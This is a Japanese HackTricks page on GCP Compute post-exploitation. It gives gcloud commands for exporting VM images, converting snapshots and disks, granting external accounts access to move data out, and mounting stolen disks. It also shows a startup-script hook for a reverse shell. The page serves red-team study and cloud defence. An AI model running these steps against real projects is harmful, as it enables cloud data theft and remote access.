GCP - Compute Post Exploitation

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Compute

ComputeおよびVPC(ネットワーキング)の詳細については、以下をチェックしてください:

pageGCP - Compute Enum

イメージのエクスポートとローカルでの検査

これにより、攻撃者は既存のイメージ内に含まれるデータにアクセスしたり、実行中のVMの新しいイメージを作成してそのデータにアクセスしたりできますが、実行中のVMにアクセス権がなくても可能です。

VMイメージをバケットにエクスポートしてから、次のコマンドでローカルにダウンロードしてマウントすることができます:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

このアクションを実行するために、攻撃者はストレージバケットに対する特権と、確実にcloudbuildに対する特権が必要です。なぜなら、このサービスがエクスポートを実行するように求められるからです。 さらに、これが機能するためには、codebuild SAとcompute SAに特権のある権限が必要です。 cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com には次の権限が必要です:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

そしてSA <project-id>-compute@developer.gserviceaccount.com には次の権限が必要です:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

スナップショットとディスクのローカルエクスポートと検査

スナップショットとディスクを直接エクスポートすることはできませんが、スナップショットをディスクに変換し、ディスクをイメージに変換し、前のセクションに従って、そのイメージをローカルで検査することは可能です

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

イメージを検査してVMを作成する

攻撃者がイメージを作成した場所からイメージに保存されているデータまたは実行中のVM内部にアクセスすることを目的として、イメージに外部アカウントへのアクセス権を付与することが可能です。

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

そして、それを元に新しいVMを作成します:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

もしイメージに外部アカウントアクセス権限を与えられない場合は、被害者のプロジェクトでそのイメージを使用してVMを起動し、メタデータを実行して逆シェルを作成し、次のパラメータを追加してイメージにアクセスできます:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

スナップショット/ディスクの検査とVMへのアタッチ

ディスクまたはスナップショットに保存されているデータにアクセスする目的で、スナップショットをディスクに変換し、ディスクをイメージに変換して前の手順に従うことができます。

または、外部アカウントにディスクへのアクセス権限を付与することもできます(スナップショットが始点の場合は、スナップショットにアクセス権限を付与するか、それからディスクを作成します)。

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

インスタンスにディスクをアタッチします:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM内のディスクをマウントします:

  1. VMにSSH接続します:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. ディスクを特定します:VM内に入ったら、ディスクデバイスをリストアップして新しいディスクを特定します。通常、/dev/sdb/dev/sdcなどとして見つけることができます。

  2. ディスクをフォーマットしてマウントします(新しいまたは生ディスクの場合):

  • マウントポイントを作成します:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • ディスクをマウントします:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

スナップショットまたはディスクに外部プロジェクトへのアクセス権を与えることができない場合は、これらのアクションをスナップショット/ディスクと同じプロジェクト内のインスタンスで実行する必要があります。

最終更新